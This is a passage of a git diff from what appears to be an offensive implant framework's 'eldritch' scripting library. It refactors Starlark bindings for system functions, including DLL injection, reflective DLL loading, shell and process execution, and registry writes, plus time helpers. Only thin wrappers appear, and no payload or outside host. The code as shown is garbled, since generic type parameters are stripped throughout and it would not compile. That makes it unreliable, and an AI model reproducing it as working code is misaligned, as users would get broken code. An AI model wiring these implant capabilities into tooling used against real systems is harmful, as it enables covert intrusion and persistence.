assert!(err.is_none(), "failed with err {}", err.unwrap()); assert!(tmp_file.as_file().metadata().unwrap().len() > 5); assert_eq!("ok", out.join("")); Ok(()) diff --git a/implants/lib/eldritch/src/sys.rs b/implants/lib/eldritch/src/sys.rs deleted file mode 100644 index 5a716216f..000000000 --- a/implants/lib/eldritch/src/sys.rs +++ /dev/null @@ -1,144 +0,0 @@ -mod dll_inject_impl; -mod dll_reflect_impl; -mod exec_impl; -mod get_env_impl; -mod get_ip_impl; -mod get_os_impl; -mod get_pid_impl; -mod get_reg_impl; -mod get_user_impl; -mod hostname_impl; -mod is_linux_impl; -mod is_macos_impl; -mod is_windows_impl; -mod shell_impl; -mod write_reg_hex_impl; -mod write_reg_int_impl; -mod write_reg_str_impl; - -use allocative::Allocative; -use derive_more::Display; -use starlark::{ - starlark_module, starlark_simple_value, - environment::{Methods, MethodsBuilder, MethodsStatic}, - values::{ - list::UnpackList, starlark_value, none::NoneType, - dict::Dict, Heap, ProvidesStaticType, StarlarkValue, UnpackValue, Value, ValueLike, - } -}; -use serde::{Serialize, Serializer}; - -struct CommandOutput { - stdout: String, - stderr: String, - status: i32, -} - -#[derive(Copy, Clone, Debug, PartialEq, Display, ProvidesStaticType, Allocative)] -#[display(fmt = "SysLibrary")] -pub struct SysLibrary(); -starlark_simple_value!(SysLibrary); - -#[allow(non_upper_case_globals)] -#[starlark_value(type = "sys_library")] -impl<'v> StarlarkValue<'v> for SysLibrary { - fn get_methods() -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } -} - -impl Serialize for SysLibrary { - fn serialize(&self, serializer: S) -> Result - where - S: Serializer, - { - serializer.serialize_none() - } -} - -impl<'v> UnpackValue<'v> for SysLibrary { - fn expected() -> String { - SysLibrary::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } -} - -// This is where all of the "sys.X" impl methods are bound -#[starlark_module] -#[rustfmt::skip] -#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] -fn methods(builder: &mut MethodsBuilder) { - fn exec<'v>(this: SysLibrary, starlark_heap: &'v Heap, path: String, args: UnpackList, disown: Option) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - exec_impl::exec(starlark_heap, path, args.items, disown) - } - fn get_os<'v>(this: SysLibrary, starlark_heap: &'v Heap) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - get_os_impl::get_os(starlark_heap) - } - fn dll_inject(this: SysLibrary, dll_path: String, pid: u32) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - dll_inject_impl::dll_inject(dll_path, pid) - } - fn dll_reflect(this: SysLibrary, dll_bytes: UnpackList, pid: u32, function_name: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - dll_reflect_impl::dll_reflect(dll_bytes.items, pid, function_name) - } - fn get_env<'v>(this: SysLibrary, starlark_heap: &'v Heap) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - get_env_impl::get_env(starlark_heap) - } - fn get_ip<'v>(this: SysLibrary, starlark_heap: &'v Heap) -> anyhow::Result>> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - get_ip_impl::get_ip(starlark_heap) - } - fn get_pid<'v>(this: SysLibrary) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - get_pid_impl::get_pid() - } - fn get_user<'v>(this: SysLibrary, starlark_heap: &'v Heap) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - get_user_impl::get_user(starlark_heap) - } - fn hostname(this: SysLibrary) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - hostname_impl::hostname() - } - - fn is_linux(this: SysLibrary) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - is_linux_impl::is_linux() - } - fn is_windows(this: SysLibrary) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - is_windows_impl::is_windows() - } - fn is_macos(this: SysLibrary) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - is_macos_impl::is_macos() - } - fn shell<'v>(this: SysLibrary, starlark_heap: &'v Heap, cmd: String) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - shell_impl::shell(starlark_heap, cmd) - } - fn get_reg<'v>(this: SysLibrary, starlark_heap: &'v Heap, reghiv: String, regpth: String) -> anyhow::Result> { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - get_reg_impl::get_reg(starlark_heap, reghiv, regpth) - } - fn write_reg_str(this: SysLibrary, reghiv: String, regpth: String, regname: String, regtype: String, regvalue: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - write_reg_str_impl::write_reg_str(reghiv, regpth, regname, regtype, regvalue) - } - fn write_reg_int(this: SysLibrary, reghiv: String, regpth: String, regname: String, regtype: String, regvalue: u32) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - write_reg_int_impl::write_reg_int(reghiv, regpth, regname, regtype, regvalue) - } - fn write_reg_hex(this: SysLibrary, reghiv: String, regpth: String, regname: String, regtype: String, regvalue: String) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - write_reg_hex_impl::write_reg_hex(reghiv, regpth, regname, regtype, regvalue) - } -} diff --git a/implants/lib/eldritch/src/sys/mod.rs b/implants/lib/eldritch/src/sys/mod.rs new file mode 100644 index 000000000..e9a04a514 --- /dev/null +++ b/implants/lib/eldritch/src/sys/mod.rs @@ -0,0 +1,128 @@ +mod dll_inject_impl; +mod dll_reflect_impl; +mod exec_impl; +mod get_env_impl; +mod get_ip_impl; +mod get_os_impl; +mod get_pid_impl; +mod get_reg_impl; +mod get_user_impl; +mod hostname_impl; +mod is_linux_impl; +mod is_macos_impl; +mod is_windows_impl; +mod shell_impl; +mod write_reg_hex_impl; +mod write_reg_int_impl; +mod write_reg_str_impl; + +use starlark::{ + environment::MethodsBuilder, + starlark_module, + values::{dict::Dict, list::UnpackList, none::NoneType, starlark_value, Heap}, +}; + +struct CommandOutput { + stdout: String, + stderr: String, + status: i32, +} + +/* + * Define our library for this module. + */ +crate::eldritch_lib!(SysLibrary, "sys_library"); + +/* + * Below, we define starlark wrappers for all of our library methods. + * The functions must be defined here to be present on our library. + */ +#[starlark_module] +#[rustfmt::skip] +#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] +fn methods(builder: &mut MethodsBuilder) { + #[allow(unused_variables)] + fn exec<'v>(this: &SysLibrary, starlark_heap: &'v Heap, path: String, args: UnpackList, disown: Option) -> anyhow::Result> { + exec_impl::exec(starlark_heap, path, args.items, disown) + } + + #[allow(unused_variables)] + fn get_os<'v>(this: &SysLibrary, starlark_heap: &'v Heap) -> anyhow::Result> { + get_os_impl::get_os(starlark_heap) + } + + #[allow(unused_variables)] + fn dll_inject(this: &SysLibrary, dll_path: String, pid: u32) -> anyhow::Result { + dll_inject_impl::dll_inject(dll_path, pid) + } + + #[allow(unused_variables)] + fn dll_reflect(this: &SysLibrary, dll_bytes: UnpackList, pid: u32, function_name: String) -> anyhow::Result { + dll_reflect_impl::dll_reflect(dll_bytes.items, pid, function_name) + } + + #[allow(unused_variables)] + fn get_env<'v>(this: &SysLibrary, starlark_heap: &'v Heap) -> anyhow::Result> { + get_env_impl::get_env(starlark_heap) + } + + #[allow(unused_variables)] + fn get_ip<'v>(this: &SysLibrary, starlark_heap: &'v Heap) -> anyhow::Result>> { + get_ip_impl::get_ip(starlark_heap) + } + + #[allow(unused_variables)] + fn get_pid<'v>(this: &SysLibrary) -> anyhow::Result { + get_pid_impl::get_pid() + } + + #[allow(unused_variables)] + fn get_user<'v>(this: &SysLibrary, starlark_heap: &'v Heap) -> anyhow::Result> { + get_user_impl::get_user(starlark_heap) + } + + #[allow(unused_variables)] + fn hostname(this: &SysLibrary) -> anyhow::Result { + hostname_impl::hostname() + } + + #[allow(unused_variables)] + fn is_linux(this: &SysLibrary) -> anyhow::Result { + is_linux_impl::is_linux() + } + + #[allow(unused_variables)] + fn is_windows(this: &SysLibrary) -> anyhow::Result { + is_windows_impl::is_windows() + } + + #[allow(unused_variables)] + fn is_macos(this: &SysLibrary) -> anyhow::Result { + is_macos_impl::is_macos() + } + + #[allow(unused_variables)] + fn shell<'v>(this: &SysLibrary, starlark_heap: &'v Heap, cmd: String) -> anyhow::Result> { + shell_impl::shell(starlark_heap, cmd) + } + + #[allow(unused_variables)] + fn get_reg<'v>(this: &SysLibrary, starlark_heap: &'v Heap, reghiv: String, regpth: String) -> anyhow::Result> { + get_reg_impl::get_reg(starlark_heap, reghiv, regpth) + } + + #[allow(unused_variables)] + fn write_reg_str(this: &SysLibrary, reghiv: String, regpth: String, regname: String, regtype: String, regvalue: String) -> anyhow::Result { + write_reg_str_impl::write_reg_str(reghiv, regpth, regname, regtype, regvalue) + } + + #[allow(unused_variables)] + fn write_reg_int(this: &SysLibrary, reghiv: String, regpth: String, regname: String, regtype: String, regvalue: u32) -> anyhow::Result { + write_reg_int_impl::write_reg_int(reghiv, regpth, regname, regtype, regvalue) + } + + #[allow(unused_variables)] + fn write_reg_hex(this: &SysLibrary, reghiv: String, regpth: String, regname: String, regtype: String, regvalue: String) -> anyhow::Result { + write_reg_hex_impl::write_reg_hex(reghiv, regpth, regname, regtype, regvalue) + } +} diff --git a/implants/lib/eldritch/src/time.rs b/implants/lib/eldritch/src/time.rs deleted file mode 100644 index c5592339d..000000000 --- a/implants/lib/eldritch/src/time.rs +++ /dev/null @@ -1,72 +0,0 @@ -mod format_to_epoch_impl; -mod format_to_readable_impl; -mod now_impl; -mod sleep_impl; - -use allocative::Allocative; -use derive_more::Display; - -use starlark::environment::{Methods, MethodsBuilder, MethodsStatic}; -use starlark::values::none::NoneType; -use starlark::values::starlark_value; -use starlark::values::{ProvidesStaticType, StarlarkValue, UnpackValue, Value, ValueLike}; -use starlark::{starlark_module, starlark_simple_value}; - -use serde::{Serialize, Serializer}; - -#[derive(Copy, Clone, Debug, PartialEq, Display, ProvidesStaticType, Allocative)] -#[display(fmt = "TimeLibrary")] -pub struct TimeLibrary(); -starlark_simple_value!(TimeLibrary); - -#[allow(non_upper_case_globals)] -#[starlark_value(type = "sys_library")] -impl<'v> StarlarkValue<'v> for TimeLibrary { - fn get_methods() -> Option<&'static Methods> { - static RES: MethodsStatic = MethodsStatic::new(); - RES.methods(methods) - } -} - -impl Serialize for TimeLibrary { - fn serialize(&self, serializer: S) -> Result - where - S: Serializer, - { - serializer.serialize_none() - } -} - -impl<'v> UnpackValue<'v> for TimeLibrary { - fn expected() -> String { - TimeLibrary::get_type_value_static().as_str().to_owned() - } - - fn unpack_value(value: Value<'v>) -> Option { - Some(*value.downcast_ref::().unwrap()) - } -} - -// This is where all of the "Time.X" impl methods are bound -#[starlark_module] -#[rustfmt::skip] -#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] -fn methods(builder: &mut MethodsBuilder) { - fn now<'v>(this: TimeLibrary) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - now_impl::now() - } - fn sleep<'v>(this: TimeLibrary, secs: f64) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - sleep_impl::sleep(secs); - Ok(NoneType{}) - } - fn format_to_epoch<'v>(this: TimeLibrary, s: &str, fmt: &str) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - format_to_epoch_impl::format_to_epoch(s, fmt) - } - fn format_to_readable<'v>(this: TimeLibrary, t: i64, fmt: &str) -> anyhow::Result { - if false { println!("Ignore unused this var. _this isn't allowed by starlark. {:?}", this); } - format_to_readable_impl::format_to_readable(t, fmt) - } -} diff --git a/implants/lib/eldritch/src/time/mod.rs b/implants/lib/eldritch/src/time/mod.rs new file mode 100644 index 000000000..62235b2e9 --- /dev/null +++ b/implants/lib/eldritch/src/time/mod.rs @@ -0,0 +1,45 @@ +mod format_to_epoch_impl; +mod format_to_readable_impl; +mod now_impl; +mod sleep_impl; + +use starlark::{ + environment::MethodsBuilder, + starlark_module, + values::{none::NoneType, starlark_value}, +}; + +/* + * Define our library for this module. + */ +crate::eldritch_lib!(TimeLibrary, "time_library"); + +/* + * Below, we define starlark wrappers for all of our library methods. + * The functions must be defined here to be present on our library. + */ +#[starlark_module] +#[rustfmt::skip] +#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] +fn methods(builder: &mut MethodsBuilder) { + #[allow(unused_variables)] + fn now<'v>(this: &TimeLibrary) -> anyhow::Result { + now_impl::now() + } + + #[allow(unused_variables)] + fn sleep<'v>(this: &TimeLibrary, secs: f64) -> anyhow::Result { + sleep_impl::sleep(secs); + Ok(NoneType{}) + } + + #[allow(unused_variables)] + fn format_to_epoch<'v>(this: &TimeLibrary, s: &str, fmt: &str) -> anyhow::Result { + format_to_epoch_impl::format_to_epoch(s, fmt) + } + + #[allow(unused_variables)] + fn format_to_readable<'v>(this: &TimeLibrary, t: i64, fmt: &str) -> anyhow::Result { + format_to_readable_impl::format_to_readable(t, fmt) + } +}